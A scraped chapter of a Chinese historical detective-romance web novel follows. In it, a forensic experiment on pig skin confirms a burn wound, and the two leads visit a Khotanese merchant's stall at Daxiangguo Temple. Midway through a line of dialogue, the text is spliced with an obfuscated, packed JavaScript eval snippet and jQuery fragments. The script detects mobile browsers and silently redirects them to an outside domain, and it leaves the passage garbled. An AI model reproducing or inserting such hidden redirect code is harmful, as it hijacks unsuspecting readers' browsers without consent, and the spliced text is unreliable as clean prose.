默认冷灰
24号文字
方正启体

71. 第 71 章

作者:复堂堂本书字数:K更新时间:
    原来这几个人早跟吕相公通过气了,还害他们来现眼。


    审刑院内六扇槅门洞开,几个窥探的脑壳也缩了进去。


    众人自讨没趣,只好走了。


    吕相公啧啧欣赏完毕,又回去批公文了,走前还留下一句,“看来建个灶房也不是不行。”


    这厢宋师傅搭好靶子,将韩雨钟对准靶子上的猪皮,一经点燃,一股大力推动矿灰顶部精准地炸在猪皮上。


    啪得一声响后,三人屏住呼吸,上前检查猪皮上的灼烧痕迹。


    一道黑痕贯穿猪皮表面,周围溅出的细痕更是如雷击木一般。


    像,是真的像。


    但骆抒和韩雨钟只见过卷宗上的记述,宋师傅才是唯一的亲见者。


    他把这道痕迹细致地看了个遍,与记忆中死者掌心的对比起来。


    旁边二人很默契地没有打扰他。


    宋师傅闭目凝神,让自己回到两月前见到死者的那一天。


    那天大理寺照例乱糟糟的,他带着小徒弟练手,小徒弟给他买了字帖,说师父你要写书真得练练字了。


    刚写下一个“天地玄黄”,巡检司的人就抬着个担架闯入,尸身盖着白布,头颅处却明显凹陷下去。


    他放下笔,猛地拉开白布,见到血肉模糊、切口整齐的断脖。


    宋师傅有一双细腻敏感的双手,能比别人感受到更多的东西。当他摸到死者手掌心那道灼烧痕迹时,第一反应就是烫,可死者已经死去多时,身体已经冰冷。


    他再摸,有说不出的怪异涌上心头。分明只是个皮外伤,连致命伤都不是,为什么他会如此耿耿于怀呢,他不知道。


    宋师傅拿起方才练字的笔就写下“中间深,两边浅,呈飞溅状”的结语,可是他总觉得哪里写得不好,没有完全将那股怪异之感写出来。


    而今日看见骆抒的实验,宋师傅知道自己哪里写得不好了。


    是撕裂,受外力冲击而炸开的撕裂状伤口,被青黑色矿灰填满,像极了被雷劈开的树木,是那样子的伤口。


    骆抒仍在紧张地等待中,她深怕又浪费掉一次机会。


    院内连风都停住了,叶儿一动不动,投下静止的影子。


    宋师傅张开双眼,回应给她们一个点头,“就是这样的。”


    如听仙乐,骆抒骤然松了口气。


    摸着石头过河,生怕前一步就是深渊,好在突然踩到了浅滩。这股踏实感托住了身体,她冲韩雨钟笑笑,辛苦没有白费。


    “不过”,宋师傅这句又将两人的心提起来,“是不是得试个平常的流星焰火回来,看看对比。”


    这点两人也想到了的,韩雨钟从一堆焰火中捡起一个,算了下位置,点燃引信,正中另一块猪皮靶心。


    宋师傅拾起一看,果然是不一样的。这块猪皮面色的青灰色没有那么深,看来他们的实验是成功的。


    不知从哪里传来了闷闷的喝彩声,回头看去,门窗上的人影藏得不严实。


    韩雨钟将试验过的猪皮一字排开,骆抒挨个检查一遍,用洞微镜着重查了有矿灰那块,纹理、颜色果然与其他几块不同。


    她手中晶莹剔透的洞微镜引起了宋师傅的注意,宋师傅小声询问,“骆娘子,可否将你手中的镜子借我一观。”


    他斯文的脸上难得有一丝迫切。


    骆抒觉得好笑,便递给他,“此镜名唤洞微镜,可以聚光、放大物体,用来查细小之物很是方便。”


    不用她说,宋师傅也察觉到此镜的妙用,他啧啧称奇,“我也曾见过一些镜子能够放大物体,可都没娘子手中这个清晰,不知娘子是从哪里得来的。”


    这个……骆抒顿住,犹豫该不该说。


    正收拾摊子的韩雨钟长腿一迈走过来,替她开口,“这是骆娘子在大相国寺的西域商人那里买的。”


    宋师傅认真记下,“此镜也能用在验尸上。”


    随即又追问,“不知是哪位西域商人呢?”


    韩雨钟:……“最靠里的那一家,挂着紫帷幔。”


    “多谢两位,我也去买一个。”宋师傅笑得很开心,没注意到韩雨钟面容有些扭曲了,也没细想为何骆娘子买的东西,韩大人却如此清楚。


    骆抒忙岔开话题,“小宋大人带回来那柄铁器,有线索了吗?”


    宋师傅果然又把心思移回到案情上,“说来惭愧,这个案子的诸多物证我都不大认得。那柄铁器也是一样,实在不知是用来做什么的。”


    小宋大人今日没上门,说是找门路进工部问问看。


    工部啊,她想起那天小宋大人说的国公府八卦,青翥的异母兄长是虞部郎中,同为五品。一个嫡子一个外室子,国公又未请立世子。


    她低声问韩雨钟,“工部的人会为难小宋大人吗?”


    韩雨钟没说准话,“同朝为官,为难是说不上的。兴许坐坐冷板凳吧。”


    与审刑院中有了发现的三人组深刻对比的是,在工部衙门坐了一天冷板凳的小宋大人。满面堆笑的他从工部离开时只想对天咆哮,这朝堂的水啊,还是太深了。


    大相国寺的山门外,坐落着一个露天的大市集。这里没有御街的庄严,也没有夜市的喧嚣,有它自己的一番韵味。古籍、书画、碑帖、玩物的摊子散落其间,还有算卦先生,摇着铃铛招揽生意。香客、游人、文人雅士穿梭其中,步履从容。一阵风吹过,将旧书页的纸墨味和香烛的檀香味,都带到骆抒跟前。


    既然小宋大人那里一无所获,骆抒便提出和韩雨钟一道来大相国寺看看,兴许这里的商人见过那个奇怪的铁器。


    她那不成熟的画工派上用场,在纸上寥寥几笔勾勒出铁器的模样。韩雨钟亲口认证,是挺像的。


    抛开查线索不说,出来走走总是让人高兴的,她瞧着大相国寺的新奇事物,朝韩雨钟小声说道,“我来汴京这么久了,还没来过大相国寺呢。”


    不是忙着生计,就是忙审刑院的案子。


    韩雨钟收起讶异的神色,接过她手里的宣纸,许下一个承诺,“你要是喜欢,以后我们常来。”


    说来奇怪,两人的身影在人潮中变得渺小,可心里的感情倒是没了束缚,痛痛快快地跑出来。


    骆抒出神地盯着他,对方的侧脸温润如画,看上去心情很是轻快,嘴角始终挂着一抹浅浅的笑。


    两个人不知不觉走在一起,挨着又分开,又走了一会儿再挨着,又分开。


    直到路过大相国寺的织彩坊,骆抒惊住了。她早听说过这是汴京城数一数二的大布铺,只是一时不得见。


    今天见了,才懂得什么叫屋宇宽阔,青绸幌子挑出檐角,“织彩坊”三个烫金大字刻在牌匾上,三阶青石砖都被磨出了凹痕,可见平日里络绎不绝的买卖盛景。


    店里竖着丈余长的紫檀柜台,掌柜指尖在算盘珠上疾走,伙计们跑上跑下得殷勤,看着机灵极了。


    整墙的格架直抵房梁,百色绫罗堆叠,像条宽阔的彩河。淡色的软烟罗如水泄地,蜀锦上的金线泛着幽光。店里十几个女掌柜围着客人介绍,一批又一批的人进来,又都拿上心仪合适的布匹出门了。


    与之相比,她的点彩铺像极了过家家。


    韩雨钟捕捉到她的这份落寞,停下脚步问她,“想进去看看吗?”


    “不,算了,还是下次再来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214362|177628||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吧。”骆抒摇头拒绝,“今日还是先找线索吧。”


    韩雨钟有心安慰她,“我看这织彩坊的货也没有新奇之处,不比那天在潘楼你的凝光紫好看。”


    他还讲起笑话,“卢娘子又给夫人献了一件成衣进去,叫大嫂见了,偏问小妹要。小妹却说此色难染,不易得,有了再送给嫂嫂。大嫂以为是推辞,一时气不过,叫我那大哥满汴京给她找差不多的。”


    据说这家织彩坊也上过门,拿不出来,只好悻悻走了。


    骆抒噗嗤一声笑出来,“我还以为你从不留心这些。”


    韩雨钟好心反而被取笑,“我又不是无知无觉的泥人。”


    况且在审刑院做事,岂能不处处留心。


    就连那处处看不惯他的大哥,不也有自己的心眼吗。


    在家撺掇妻子和继母过招,时时和父亲上眼药,盯着家里的一亩三分地,实在不像个顶天立地的男儿。


    他时常想,大哥也会有什么在意的人吗?只怕是没有。


    说闹间,二人走到挂着紫帷幔的西域商人处,对方是个高鼻深目、蓄着大胡子的于阗人,他的摊子上多是一些玉器、毛毯、毛毡和于阗当地的药材。


    日光坠在于阗人的玉镯上,反射出一道柔和的光,连旁边“宝货琳琅”的汉文招牌都亮晶晶的,裹着外邦香料的气息。


    大胡子见了韩雨钟,热情地同他招呼,说的一口怪声调的汴京官话,“尊敬的郎君,您又来了,这次想买点什么呢?”


    这位年轻郎君可是花了大价钱从他手里买走了玉盘镜子。


    韩雨钟扫了眼他摊上的货物,“随便看看。”


    骆抒奇怪,气音道,“我们不是来问线索的吗?”


    “这些于阗商人看着热情,实际精明又警惕,不该说的一个字都不会说。”韩雨钟耳语道,“这些玉若有你喜欢的我们便买一个,好撬开他的嘴。”


    于阗商人介绍自己叫悉达,给骆抒推销起和田玉来,“娘子肤白,带这个正称你的肤色。”


    这是一块和田玉的吊坠,的确很称她。整块玉温润细腻的质感也像她这个人。


    韩雨钟接过吊坠,在她身上比划了一下,眼里流露出满意来。


    “喜欢吗?”


    骆抒想的是,便宜我就喜欢。她装作挑剔的模样,“这玉上有杂色,这里也有裂,这里的雕工也不是很精巧。”


    大说特说,把这块和田玉吊坠贬得体无完肤。


    但商人悉达的脸色一点未变,他仍笑呵呵的,“娘子原来是行家,可是如娘子所说完美的和田玉成色,那可是能进贡给皇帝的,怎会出现在我这个小摊上呢。”


    但杀价的目的已经达成,韩雨钟直截了当问他,“多少钱?”


    问价的话,先出价的人要有被讨价还价的心理准备。


    悉达眼睛一转,“三十贯。”


    三十贯!能把骆抒的小院子租上两年半了。


    韩雨钟杀价也很猛,“十贯。”


    悉达还是笑呵呵的,不过把和田玉吊坠拿了回来,“郎君还是这么会讲价,而且这次还有个好眼力的娘子作陪。”


    他没说卖还是不卖,收回吊坠后给他们介绍起了其他的织物,例如骆抒手边的珠绣毛毯,“这个买回家里,可漂亮了。娘子若喜欢,我就给个合适价格。”


    骆抒不明就里,小声问,“他这是什么意思。”


    “十贯能成交,不过得买点其他东西搭上。”韩雨钟与这些西域商人交往已久,熟知对方套路。


    不过这次,他将画有铁器的宣纸盖在毛毯上边,紧盯着悉达的眼睛,“若你能帮帮忙,多买点都是可以的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)